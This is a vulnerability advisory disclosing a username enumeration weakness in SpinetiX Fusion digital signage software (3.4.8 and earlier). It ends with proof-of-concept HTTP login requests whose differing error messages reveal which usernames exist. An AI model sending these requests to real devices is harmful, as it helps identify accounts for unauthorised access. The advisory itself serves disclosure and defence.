SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration

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SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness  
  
  
Vendor: SpinetiX AG  
Product web page: https://www.spinetix.com  
Affected version: <= 3.4.8 (1.0.36274)  
  
Summary: At SpinetiX we inspire businesses to unlock the potential of their story.  
We believe in the power of digital signage as a dynamic new storytelling platform  
to engage with people. For more than 13 years, we have been constantly innovating  
to deliver cutting-edge digital signage solutions that help our customers shine.  
Fusion is a built-in content management application accessible from a standard web  
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does  
not require any additional license, cost, or software installation.  
  
Desc: The weakness is caused due to the login script and how it verifies provided  
credentials. Attacker can use this weakness to enumerate valid users on the affected  
node.  
  
Tested on: Apache 2.2.34  
PHP/5.3.18-2  
Linux 2.6.10  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5591  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php  
  
  
03.08.2020  
  
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POST /fusion/index.php?r=users/login HTTP/1.1  
Host: 192.168.1.1  
  
User[username]=NonExisting&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0  
  
Response: Username is incorrect.  
HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>  
  
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POST /fusion/index.php?r=users/login HTTP/1.1  
Host: 192.168.1.1  
  
User[username]=admin&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0  
  
Response: Password is incorrect.  
HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>  
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